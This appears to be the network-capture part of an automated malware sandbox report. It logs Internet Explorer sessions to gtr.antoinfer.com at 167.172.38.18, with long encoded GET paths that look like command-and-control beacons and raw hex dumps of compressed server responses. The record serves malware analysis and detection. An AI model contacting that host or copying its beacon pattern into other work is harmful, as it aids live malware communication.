0e 2b 59 32 28 9a 86 00 8b 35 ee bd e2 c4 69 e3 38 33 00 30 2a a7 6d cf a2 fc 43 38 b7 b7 4c 7c 6e ed 32 66 82 10 56 99 aa 84 5f 8b cf 79 7b 6b 94 98 79 9a e6 e5 74 7e a0 e0 7c 9e 2e d3 03 ad 20 03 23 0d 2f f7 d7 74 95 84 01 ea d2 91 94 8b 48 13 1c b0 82 b4 45 4a b1 36 47 e9 f0 9a c0 e9 98 21 76 10 36 2d a2 17 75 74 90 c2 c2 9f 8f 5d ce fd fe c1 da 0b a4 50 29 47 c5 98 8c 1c ea 75 c8 85 71 be 01 3f 57 63 19 c8 2a 86 71 ff f0 af 57 54 72 cd 2c bf 99 47 1c d5 ba 0f c8 ea ff d8 15 26 c9 3e d8 81 72 6f 73 fe 42 a1 df 0d 81 a9 77 70 a1 34 f4 a6 96 78 70 b3 11 fa 3c 19 30 fd 26 1e 40 66 2c af a3 52 44 0c 1d 54 19 2d 20 4f 14 fb 77 aa b1 a6 03 64 30 ff 95 59 13 2f 26 12 85 a3 b5 fd 39 ac 61 82 cd 46 e6 65 72 c9 9b 8f f9 50 80 6d 18 33 88 10 87 85 b3 7f 78 41 d7 5d 13 fe 37 49 a4 f9 0b a7 c7 92 7f b5 ab 35 96 3e b7 64 b3 65 e6 ef 61 a9 5b 9a ad 9a 71 dc f3 3c 3c 00 b2 e1 00 d1 37 bd 59 e8 60 51 a2 75 28 8c 9d f5 05 d2 16 4b 8b ed b7 c1 7c 52 d9 63 22 fe 65 99 19 70 d6 8c ce d3 76 ae b6 7c 64 15 38 9e 84 20 3a d6 f8 0a d8 e5 4a 4f bf 0d 35 d6 89 fb e3 6c cf af 48 32 35 bf aa 3f 81 81 53 1a 80 93 a1 92 38 dc aa 57 3c de a1 dc 47 5c 30 dc 21 03 0a a2 eb 98 02 b9 30 73 85 13 9f 53 ed 13 18 09 e7 6a bd 50 df 32 fe 36 e1 e4 bc 4e 38 42 dd 25 d9 bf f9 a4 cc 99 a5 6f b1 d0 f3 35 9e 23 36 2d 4b ec 82 ec 72 fc a5 5e d3 8f 55 c2 83 41 fd e8 6a 49 ee 73 4b 50 b4 f7 14 32 1d c1 86 33 f0 d5 19 f0 0d da 54 2f 2d f5 c4 95 88 3b b1 ca 94 69 ba b4 db cf be 2d 34 75 ba 90 30 00 d4 00 e4 ef 24 01 23 05 30 fd d5 67 1d 29 3c 3b 8f 5f 35 37 51 88 0f e2 75 27 da 0b 1b 83 23 67 e4 e0 07 d8 34 0a f2 3b 0e b7 d7 f6 20 2a 47 db 22 65 3b d3 75 e0 29 48 85 e0 9a b5 5e 7f 1f ff 4e 83 a0 b3 0a 03 fb 50 a3 2c 7e 62 39 28 a0 4a cb b5 a4 04 45 fb 50 a6 0c b6 aa 18 f8 e9 5d f2 4f 36 fc b1 da a7 88 a6 1b 8b 2a 80 92 5f c7 1e 35 2a df 97 99 29 5d 12 23 77 ae 83 0b ca c3 c9 93 6c 86 a1 81 33 75 9e d3 4a aa 35 a1 97 41 f2 ed 15 4c 3d d3 fe 32 5b c7 d5 e3 e8 7b ea d1 58 3c 3a 0e 49 13 a1 f7 2a 77 08 dc 69 8c d6 e5 5d cf a2 66 63 fa 1a f6 3c 34 6e 9d 9b c5 88 30 f3 11 a4 0f d1 52 b2 f3 d6 63 e8 6a a1 c2 aa be b0 02 7a 72 d6 3d 8e 0b 34 58 fc 27 a2 d3 6d f9 63 84 43 f7 c5 52 c4 7d f9 ad 11 1d 77 b1 c0 a4 3a 8d 1e a4 7a c7 36 21 Data Ascii: 2000@E?nK\f;_x"9D{x3/#Mj\|bKA2As/JXeBU`1;6Hu=F\,+ywh{a4Q`ml"?3:hz!^fvK=QR?bD3pzx;]ggSf2k,Tf+:TT]Ed5cMBep@h~P:i,+Y2(5i830mC8L\|n2fV_y{kyt~\|. #/tHEJ6G!v6-ut]P)Guq?WcqWTr,G&>rosBwp4xp<0&@f,RDT- Owd0Y/&9aFerPm3xA]7I5>dea[q<<7Y`Qu(K\|Rc"epv\|d8 :JO5lH25?S8W<G\0!0sSjP26N8B%o5#6-Kr^UAjIsKP23T/-;i-4u0$#0g)<;_57Qu'#g4; G"e;u)H^NP,~b9(JEP]O6_5)]#wl3uJ5AL=2[{X<:I*wi]fc<4n0Rcjzr=4X'mcCR}w:z6!
Jul 12, 2021 11:50:35.857954979 CEST	5230	IN	Data Raw: 77 7e 9d e2 16 b9 f2 10 af 22 ef 3d 0d 25 e9 e0 e3 f6 75 d1 a0 d0 63 d3 24 61 c7 41 dc c7 0d 7b ca d8 8a 07 14 fe 4e 66 d5 0b ef 20 80 6f 9d f0 4d 00 80 eb 16 a8 e8 3d fe 1c a0 15 69 8d 56 67 24 2d 7b 86 11 fc 83 d1 05 e7 55 89 3f be e2 4d 29 29 Data Ascii: w~"=%uc$aA{Nf oM=iVg$-{U?M))%7~PMP!e.MnknJk:F.7W Y'+NPQ7{7O1"0VImNgP+SrYY\I""cA:K
Jul 12, 2021 11:50:35.858160019 CEST	5231	IN	Data Raw: c7 1a 92 80 89 f6 1e e1 b5 55 9b a7 ac 1b b5 58 73 85 fe 6b d8 ac 25 10 80 9f 0b cf 28 6b b5 51 10 ce 7b 61 ac 0a 6b 3f a8 5c 9f 9f 78 95 49 e3 97 f2 f5 e1 2a 12 71 13 7d dd 65 d9 49 b8 32 6a b7 ef 95 9b 00 92 d0 5a 87 25 b8 59 23 66 06 32 9f 9b Data Ascii: UXsk%(kQ{ak?\xI*q}eI2jZ%Y#f2(KhnH(/6q"m1W;ngQK`clw9'j.V0l$EGP]'7u[{ulwMksVDC$C>8sOy@w39x TaXY
Jul 12, 2021 11:50:35.859390020 CEST	5233	IN	Data Raw: 6d 09 d5 ee 9b 26 df 44 72 05 0f 2a 38 ee a3 c5 42 5b 72 c3 98 ba f8 de 56 67 bf c5 35 42 b2 85 b0 eb 52 fb 55 0c 84 9b 7e 67 c5 15 1d 1d 20 99 49 6a 02 75 5e b9 bd 34 f6 36 00 81 dd e3 1d 89 91 eb 05 8f ab ce cf 0e 9e 13 6e a4 b8 5b 69 c8 12 07 Data Ascii: m&Dr*8B[rVg5BRU~g Iju^46n[iX2?PT(azZ_.1$Jc`O`$4>Vp{z\TRc \|<Y{<4'Mb^bM-]a o\8irD0)N,0wdh[kN0
Jul 12, 2021 11:50:35.859425068 CEST	5234	IN	Data Raw: 1a b3 88 da 55 9e a6 92 e7 20 8e 1e 0c 5b ac 51 f1 3a 57 49 ce f5 e2 95 10 12 2e ff f0 d9 57 21 e6 b2 fc 45 08 f0 24 29 b8 2c 89 08 b2 b1 f3 59 a6 53 bb fe cd a3 94 50 df 09 4b f4 66 c9 c3 6f 1b 95 2d a3 eb 5f fa e6 fb 98 7d a9 7a b5 f8 1e 4a d6 Data Ascii: U [Q:WI.W!E$),YSPKfo-_}zJ16I7ndIo'H4xzq2X'/x@t.YPw_r'bbTi#$1)Yfkr4S,wi}';Z Aa%M
Jul 12, 2021 11:50:35.859458923 CEST	5235	IN	Data Raw: 97 a0 8b 82 4b 7c 09 b2 b4 cf 89 c9 fa 27 97 f2 ec 7b 80 bd f3 08 55 e5 de df 1b 08 be b5 43 60 ac 6d 7f 08 42 62 25 ea bf 68 57 47 f5 15 25 30 da bc c2 84 2c 57 51 e7 88 a2 01 c9 3c 69 36 cb 75 fb ba a3 ef 32 bb fb d0 8a 68 b2 2c 38 07 30 ce 7b Data Ascii: K\|'{UC`mBb%hWG%0,WQ<i6u2h,80{?)gI[\|0gK"5K\<Dgu-,0 cf=>?v-5@U\|@gQ;MJZx}y2@C"k6BnaiKh$lM3w
Jul 12, 2021 11:50:35.859486103 CEST	5237	IN	Data Raw: b4 ae 4f 7f 9c 4b 45 19 57 c3 19 84 fe f1 c9 0c bb 36 5f b0 68 96 37 64 57 6c a0 9d c4 d7 02 1b 69 bc 88 dc 58 b7 84 36 38 fc a6 78 15 94 32 88 e0 77 c2 12 35 00 a6 fb b5 d5 37 7b de 5f 0c 66 58 10 7d 49 7f 0d 3c 09 8c 4a 36 fb 10 b9 a0 48 fe e1 Data Ascii: OKEW6_h7dWliX68x2w57{_fX}I<J6H!ZY'd`NcX-{wq_boiv,* TuqE*\cb@?owA Sw&?\|M 'c6f57X8XP?Z>!6FyLAt}VWg
Jul 12, 2021 11:50:35.859519005 CEST	5238	IN	Data Raw: 37 8b f5 c2 6e 97 0c 61 70 91 bf ea 4d 9f f7 5c cd a2 75 45 5b 93 15 cc 99 00 73 73 4e 09 6b 95 84 05 47 f7 da 48 fb a0 52 43 20 22 41 e0 63 e1 8a 09 fc 7e c2 4b 57 71 eb 20 fc a1 45 0d 29 74 57 fd 14 96 b3 af e2 b7 80 ae 67 fc 62 a7 6b 7f e3 d9 Data Ascii: 7napM\uE[ssNkGHRC "Ac~KWq E)tWgbkg`c=1NbuH$\D*i/TG{7^pBM\T\|8D0B}K^-0x)sz(Sqo"g#`zu25$ f~UXEmlb\SFZr<vvgE!k&
Jul 12, 2021 11:50:35.859554052 CEST	5239	IN	Data Raw: 8c 22 d8 3b 4c ba fa 03 24 7c cc 15 2c 1a 5c d1 b4 3d c7 94 5b fa ea c6 6d 9d 60 24 f6 98 4c 12 0d a5 24 cc be fc 78 6d 29 85 0d 6d 2a 19 0b 1f 55 d4 3f 64 05 6c 89 17 dc 8b fd 0b cf 91 0f 02 7b 06 78 14 91 e4 51 47 1b c7 e6 9d c3 42 f2 03 cc 7f Data Ascii: ";L$\|,\=[m`$L$xm)mU?dl{xQGB(\#ZY[RX2:4E+:'oZk`iQA+\Zy);)ppP/tqaTs1@3rE!wD?mIi}CbrysShr-'~hvW
Jul 12, 2021 11:50:35.859596968 CEST	5241	IN	Data Raw: ca cf 03 ce d1 fe c1 dd ab f8 bc 23 2f 95 35 5b 8d 6d 1a 57 29 cd 9f a4 1b 52 a3 76 75 3b 26 b7 fa bd 06 5c 3a 90 6b 22 e0 80 42 cc 3f f7 19 ac 1c 39 69 3f 0d f1 8c 33 94 95 1c cc 9a 84 bf f3 b6 08 6f fa 85 a9 3d 06 af 69 55 83 e9 5b b6 50 88 df Data Ascii: #/5[mW)Rvu;&\:k"B?9i?3o=iU[P%H<W69wO~h`FlsHUm\|<^mK+CrPbzuBTM,2Q)0LO{\|/(%'9xB.\\7N
Jul 12, 2021 11:50:35.881598949 CEST	5242	IN	Data Raw: 63 ed 09 21 a3 ab 82 2a 04 cc c7 55 70 4a 67 7f cc 42 c4 d8 ee d3 f1 85 b8 22 71 db 90 54 7a e3 cf 8d f1 64 8d 86 32 40 3d 55 18 72 30 7c 1f 8e da c3 67 c3 f5 94 bd 1c 0f 29 bd 2b f3 6d 4e 2a 89 f9 87 dc dd 43 c6 be 60 ab 6d ec f4 ea bd 36 a5 3b Data Ascii: c!UpJgB"qTzd2@=Ur0\|g)+mNC`m6;#l>7C"^{Z7c1>kba'5"D_g$p0GG\NyGmUVb+~\|3_ls{.'WcDw9Ne8uW\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49746	167.172.38.18	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Jul 12, 2021 11:50:36.379376888 CEST	5434	OUT	GET /favicon.ico HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: gtr.antoinfer.com Connection: Keep-Alive
Jul 12, 2021 11:50:36.495400906 CEST	5435	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 12 Jul 2021 09:50:36 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49749	167.172.38.18	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Jul 12, 2021 11:50:39.124752998 CEST	5436	OUT	GET /Pl9Eori10/TWROVDxUXG0e5P8cvyge/ZU2BrrTT9UbiVqqjDG4/pcVLHkjQ_2FTIEKMeI9p0c/uvvfHn2PMXNEy/YMBxD3SD/aXgaxQm1VvX_2F13h2xPwK_/2Be7i5l50E/A7ENFq4ZupT65ephY/chqySvAke9ce/Kevf8ZZImEj/1Va42IfLQ3XJd9/R1lLLjkYwIWCsGvDlqysG/bJCIxC_2Ba_2FKBG/1sCib9KWGT9006o/pVIAR6x7f8e8pX6JMX/r5dwKRidW/K11bWM2mJHwpxkeOpFZf/WuqCfL3c8woO2jHlv7x/oi4kjIDfCy176FSPyJZhM9/EN_2FkQv43sxx/a HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: gtr.antoinfer.com Connection: Keep-Alive
Jul 12, 2021 11:50:39.613775015 CEST	5438	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 12 Jul 2021 09:50:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=63072000; includeSubdomains X-Content-Type-Options: nosniff Content-Encoding: gzip Data Raw: 32 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 14 9a c5 b2 c2 40 10 45 3f 28 8b b8 2d e3 4e 5c 77 71 17 e2 c9 d7 3f 5e b1 a1 a0 08 33 3d dd f7 9e 0b 39 63 f7 f5 04 48 2f b6 ed f8 32 69 d1 45 01 52 21 f0 3e 27 6d 74 90 e7 d1 6c 46 b1 4e 92 d5 31 f7 1e 21 bd f8 79 e2 70 cd f1 28 01 94 0f ec 45 20 59 6a 41 21 37 70 ca 4b e9 2b 04 b8 8a de 28 62 7a 6a 74 81 97 0c f9 13 0c 5c 09 7b aa 69 c1 a2 2a 0b c7 63 4f e9 b0 b6 a5 bd f6 34 d9 51 da 23 12 01 3b b2 ab 26 8a b9 55 87 f8 ec 50 c7 c6 53 a1 8c cc 5e 55 b1 13 13 31 f6 86 96 86 c0 1d 72 9f 6f 4e 56 97 f9 fd bd d2 77 9e 14 8e b5 77 02 16 e2 16 4c d9 f1 16 d6 b9 28 37 bf 4a c1 74 2a a9 35 8f 28 3b bb 7b c5 29 bb a2 5f 57 4c 19 7c 42 38 5d 57 2c f3 0a 62 b3 36 64 77 72 d0 df 06 62 ed 63 4f 8f 45 24 ca 50 83 df f8 a9 c6 55 52 93 23 6f 83 4d 63 d2 26 af 56 a4 d5 fb 15 c6 42 b2 eb f5 97 bf fc a7 e3 93 41 d9 7c c8 61 5f f3 39 e4 b7 9b 37 52 eb 29 99 12 d4 75 a2 2a 5e 8c 0a 2b 69 15 de e1 b4 ce 86 54 3d d8 1a 7e b9 45 04 b2 aa 9d 02 ca eb 39 22 72 0c 37 80 89 68 1f 71 18 52 f8 d2 78 13 5b c9 8e 0a 76 f3 f9 fa bf 0f b2 89 6c fa a3 a3 f0 68 09 62 ec 4b 02 74 b3 c1 fd 29 54 3d 7e d9 6a bd a7 f9 fb 2a 79 51 72 24 ae f5 c5 9d 69 36 71 66 9f e3 b2 6a d4 ad ed 22 29 3c d0 7c 13 3b ab b5 ed fb 95 72 95 b6 4f f4 b5 25 97 b4 bc 7d be 92 ee 79 13 d8 77 ac d2 0e 8c 95 5c a0 cc a8 03 34 c5 02 fa d2 08 1f 3a d6 c2 61 4b 78 6a f0 57 0d 15 a9 82 14 2e ab c3 59 cf 46 2c c6 83 28 c8 f6 ee 40 0c 67 1a c6 ea 2b 69 cd 68 10 45 94 2a 18 bf 7e ba 2f 9a 09 df 34 6e 85 a7 90 2f 6c 6c 97 56 76 7f eb 44 eb 00 5b 30 86 26 90 a0 46 d0 38 60 38 cd 0c e2 20 f3 bf da 94 5d 4b b5 7e e5 b2 93 77 9f 01 a0 2a 00 04 65 08 98 17 2b 28 bf 9d 52 39 26 96 d3 f2 8a 96 25 71 e7 4a dc c4 fe 42 27 a3 f8 9c 00 dd 4c 9e f4 6a 5b 71 0d 68 ef c3 18 de a6 80 12 10 33 e3 1f 0a 9c 47 4f 46 bf e8 b2 d1 fa e2 99 4a 8a d1 36 57 3f 99 80 69 1a 79 b3 32 63 a2 cd 03 83 73 fd 35 50 52 bb 67 64 8e 3f 99 4f 49 84 fe ae 86 64 5e ed 0c ef 3d 6e 33 ec 99 92 ae a4 db bd 7b 91 11 bd 4a 69 bb c6 18 63 a5 74 0c 8e 16 f4 a4 ed 62 b3 ca f1 e5 75 17 4d a1 25 b8 be 90 5a d6 d5 42 df 94 0d 39 e7 ae 31 f9 a9 ba f1 ca 30 0f f0 c8 83 c4 ce e7 83 75 6b cc 5e d8 77 bd a4 80 ca 5a 8e a5 8d 5c a8 f1 43 a0 a5 92 87 ea cb ad de 14 94 b1 a2 51 09 0a cd 60 8c 39 3b a7 8d bc 74 9a cc db af 70 55 37 3f 83 cf 0f 12 82 39 f2 34 5c 08 7a ad 45 6e 5c a8 3b 07 d9 cc 17 50 53 bd 1f e1 88 ed 9d 34 93 53 23 eb c1 4a 30 c7 e8 4c c5 dd 33 c3 f1 bf 0a 11 d0 ee 18 64 cd f9 52 b3 7e 6e ae ce 56 6e 86 74 c2 4d 94 2c ba 12 a2 76 d9 fe 87 6d 27 2d 70 d3 41 9e 2a 18 1a ab a0 12 e7 5b 57 a1 88 da ed 78 2a 68 b7 89 ea b5 e0 ce 35 91 e5 7b af 55 14 47 93 39 bd c2 04 4c 14 c4 4a d8 57 d4 39 06 ff b8 4d 1b 8e 08 69 31 5e e0 0b 65 b8 f5 55 a7 9b 4c 36 08 13 59 5f 7d 3a ac 71 77 14 c4 33 ee 1e eb af 3d cf f1 29 e4 a2 6d 5a 51 94 6d aa f3 8b 33 6c 0a 05 c4 3d c7 c0 46 c9 43 dd 55 df d1 77 dd 1b a2 70 9a 79 fb 4a 58 1e 96 29 35 d4 5e a7 53 26 50 da bc be 4c 88 6f 4e b3 a3 6a b6 3f 3b 30 87 f0 3a a6 17 73 ca dc 0b 52 49 13 37 2b 2a 84 79 13 b8 8c 20 22 72 c3 32 41 d8 77 ba 90 34 55 4f 9a 47 b1 52 30 86 7e 40 cb 8f ba a3 62 d0 Data Ascii: 2000@E?(-N\wq?^3=9cH/2iER!>'mtlFN1!yp(E YjA!7pK+(bzjt\{icO4Q#;&UPS^U1roNVwwL(7Jt5(;{)_WL\|B8]W,b6dwrbcOE$PUR#oMc&VBA\|a_97R)u^+iT=~E9"r7hqRx[vlhbKt)T=~jyQr$i6qfj")<\|;rO%}yw\4:aKxjW.YF,(@g+ihE~/4n/llVvD[0&F8`8 ]K~we+(R9&%qJB'Lj[qh3GOFJ6W?iy2cs5PRgd?OId^=n3{JictbuM%ZB910uk^wZ\CQ`9;tpU7?94\zEn\;PS4S#J0L3dR~nVntM,vm'-pA[Wxh5{UG9LJW9Mi1^eUL6Y_}:qw3=)mZQm3l=FCUwpyJX)5^S&PLoNj?;0:sRI7+*y "r2Aw4UOGR0~@b
Jul 12, 2021 11:50:39.613816023 CEST	5439	IN	Data Raw: 7a 4a 41 76 0d 8e b4 2b 0f 55 8b d1 52 8a 2e 25 dd 25 a2 19 78 92 cb 67 f3 94 81 05 33 dc 08 1b 76 d5 e2 8a 62 34 04 20 89 98 47 8a ea 82 78 bd 49 cf 2f 88 49 79 14 4e cc 05 13 71 81 b1 7f 3d 67 d2 f4 e0 d9 ed 3e 1e 6f e3 b8 56 37 d3 5c d2 ea 54 Data Ascii: zJAv+UR.%%xg3vb4 GxI/IyNq=g>oV7\T.oi -ETm/{sp.Wwp1,WZdDZ?W!b_Er#]iJEHQl4/@@V<AZ^}K"&kD^
Jul 12, 2021 11:50:39.613841057 CEST	5440	IN	Data Raw: e8 db 63 42 8a 29 18 a6 26 71 fd aa 7d 57 d2 b6 a9 1d fd 4e 8f 24 80 6f d1 51 3b 48 af f9 64 7d 5e 5b 2f 9d cb 6d 30 de ee 3c 0b 10 d3 6c bf 93 11 68 b3 1d a9 bd c9 6a c8 c3 d1 87 67 5f 57 b5 92 1e f5 45 f2 28 8f 53 37 fd 6d ca dd 03 49 f2 7e ac Data Ascii: cB)&q}WN$oQ;Hd}^[/m0<lhjg_WE(S7mI~<U]@\|ewE"T+_rDMaS$N7<f=P"7P7Axf[.{N$w!q0/J^>W&`N
Jul 12, 2021 11:50:39.613858938 CEST	5442	IN	Data Raw: 2c 29 48 45 c2 fd 79 4d 9f 7b d5 3d d4 15 04 0b 14 25 db cd be dd 6d 7e f0 ae a0 cd d2 ae d8 2b 3e 7b a6 d7 86 5f 1c b3 d9 2c 34 17 13 cc d5 d0 57 7a e2 5b 01 c1 7b 7b ec a2 aa 9d 33 21 2c 8d 02 1f 36 01 9f 9f 67 11 73 1f dd 7d 66 ee 4b 65 69 5d Data Ascii: ,)HEyM{=%m~+>{_,4Wz[{{3!,6gs}fKei]kUV<K~P{l>u_~]Ls91F0paS#X)LRv$Krz3z{xRD($nmlNX(Q(Yx{X5]7h9]
Jul 12, 2021 11:50:39.613877058 CEST	5443	IN	Data Raw: 49 75 f3 47 b2 2e b4 9c f2 e4 f6 a1 c9 d9 df 60 bb 41 7a 48 88 6d 7b c9 6f 30 2a 31 ea 5a 0d 1f be d4 d7 1a 06 8e 3a 49 e2 12 35 35 df 47 70 b6 7e 31 d2 2e 49 2f 39 67 4e f4 42 ac ca 1c 85 7d 74 04 19 55 1b ea 8f af 72 88 01 27 1e 27 e7 47 88 f5 Data Ascii: IuG.`AzHm{o01Z:I55Gp~1.I/9gNB}tUr''G#o\|$3CrsQcZgQ:nJt6g%q#jCC\k1Uy@%u}C5j?i9Z^sP)7~_iU- }nM%ia\|{eM a <5>8
Jul 12, 2021 11:50:39.613894939 CEST	5444	IN	Data Raw: c1 e2 df 49 38 36 f7 c8 19 d9 e1 f1 6b 7f 5f 40 73 70 15 6d 1f be 51 04 38 6d 44 60 a7 22 2a 05 1f c0 f2 16 c5 80 a5 a7 f1 58 e5 d9 92 99 c4 11 65 cd a5 db e7 e0 a9 0f 11 1f eb 5e 1d a4 c6 cf e1 14 74 98 08 54 34 dd 4e 4a 46 4c 10 27 88 87 c3 d3 Data Ascii: I86k_@spmQ8mD`"Xe^tT4NJFL'NI;6Zs;lPT$;V/8~F;sl,&)=&A?A$V^8.&D=kk0v)!z~nl-p$"&<f
Jul 12, 2021 11:50:39.615417004 CEST	5446	IN	Data Raw: 84 29 25 60 2b 1a 68 65 c7 1c 30 5f 5e 3f 15 80 f7 f2 45 74 e7 c4 29 6d a9 2a 1a 7a 9d da 7d c1 00 f9 d1 b2 0e af 71 97 40 c2 1a 07 d9 ea 30 c5 93 10 13 85 17 40 89 fa c5 10 ae 70 76 c4 e9 56 58 ba 33 15 6a 15 62 16 d3 71 1c 2f 30 9e 66 1f 31 f9 Data Ascii: )%`+he0_^?Et)m*z}q@0@pvVX3jbq/0f1)E?44Qk,M>+Gpr,ALeeUmP#or=;w_raR#h=iHAN^}yaW67}DJu;E U<!6;i!V@R7#
Jul 12, 2021 11:50:39.615447044 CEST	5447	IN	Data Raw: ba 14 10 32 a6 27 ed 11 25 5b 8e 81 84 36 a3 f3 6b 17 a3 04 e9 62 97 52 f9 19 38 fb ea e1 8f 34 03 d6 0e 14 9b d2 52 5f 9e ab 7b 04 6b dc 92 23 af ac bc 39 16 aa e6 21 c5 be 5f 5a 7f 82 f2 69 5e f6 66 48 6c 58 f6 eb f9 7e 38 81 f3 63 a1 79 78 ef Data Ascii: 2'%[6kbR84R_{k#9!_Zi^fHlX~8cyxL>@K.,Gj93;UFVs%'v}RZ :ck`vuh`HoqY@ozW67(7FC`U*)%R&G#C%+]
Jul 12, 2021 11:50:39.615466118 CEST	5449	IN	Data Raw: e4 01 c1 2f 3e b7 41 0a ca 62 d8 fe c0 7c 1f 1f 69 4b 38 0a c4 66 3a 31 9d 49 82 28 c4 4b 64 13 1b 30 32 02 59 86 88 26 27 4b 43 01 af ab fe d5 d0 ef 45 a0 af de cb 3c 0a 1b cc 07 63 69 56 71 5f 5a 11 bc 4a 4a 85 cf 1b fb f4 3d a8 b4 97 d8 e3 1b Data Ascii: />Ab\|iK8f:1I(Kd02Y&'KCE<ciVq_ZJJ=Ui0"T#=\|&G)u,OGyIF7r0 ci$gsUAL0G%Y46pxP\|f0ajYCC>'j_@C.K?sqWJ33qO
Jul 12, 2021 11:50:39.615500927 CEST	5450	IN	Data Raw: 6a fa d6 23 a6 df 4a 4c 00 d6 a3 63 9b 63 62 ab d0 e4 59 16 92 d5 d4 b3 e2 78 ca ef b8 7c 05 67 7a b4 4f cb 20 c3 23 0c bf 96 cf 2e 4a 86 6f a9 c6 89 b9 87 cd 78 aa 7c 47 ed b0 ec 28 bb 40 66 d0 77 d6 c9 b1 8a 11 59 6e 9b d5 b1 2c 8e b9 3c 62 58 Data Ascii: j#JLccbYx\|gzO #.Jox\|G(@fwYn,<bX0t][u9+\|uD+9!nKQ7H0<[X\X'8INg;CwLUts&BcR,(g)$Jn.G{HI3d
Jul 12, 2021 11:50:39.638027906 CEST	5451	IN	Data Raw: d6 d0 b9 82 e5 0c 9c 88 8d 5c 2c bf c6 e1 97 eb a4 cb 49 44 01 f6 d1 73 1c b1 07 c0 f5 49 77 0e 4e 51 e4 86 3c 16 70 79 d2 5c 7a 33 03 e6 fe 5a 85 02 f4 bb d1 37 f3 27 c8 de 44 2c a6 9d f3 e1 26 33 42 2d 73 4d 0f 3b 22 0e fd f2 c0 e5 60 f2 93 18 Data Ascii: \,IDsIwNQ<py\z3Z7'D,&3B-sM;"`,`T!B42U2/+GPmPQXnn*$xzwl[[Ol]-~/KN ".Ev6(Dd@?2/_,fH:}j\&hkN

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49748	167.172.38.18	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Jul 12, 2021 11:50:39.940165043 CEST	5699	OUT	GET /favicon.ico HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: gtr.antoinfer.com Connection: Keep-Alive
Jul 12, 2021 11:50:40.044677973 CEST	5699	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 12 Jul 2021 09:50:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49751	167.172.38.18	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Jul 12, 2021 11:50:43.079236031 CEST	5710	OUT	GET /M70Tzsw1MNAdF/xfm5A_2F/icgFe0hTlDYi8x1LZCDgadb/p8hAogRvpL/JEjshnYytb_2FaVCd/bp1e8aV2PI_2/FY5oP4oo0f6/GeARX2_2FlA_2F/2BhurwBe_2BrsQ1B1bUK7/wilinEmmYIdaZ6lz/71Mw33QzoCtr9s9/ULFilVIFcIxUDJIsEo/crrSiFkaK/6sQSCYti3ETwug18IBlk/b94MQVqQ698rgMibrOo/RMBVkg8AFrK4uT2Dq6pO06/OdceZPFn8QQWz/SARUSfJd/dirYBJB3Uuu4IivFAYs9FmV/Pmcsy6YvBv/Lcgiqf1bUTKnYCeNL/dikDMv66Bty/6H HTTP/1.1 Accept: text/html, application/xhtml+xml, image/jxr, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: gtr.antoinfer.com Connection: Keep-Alive
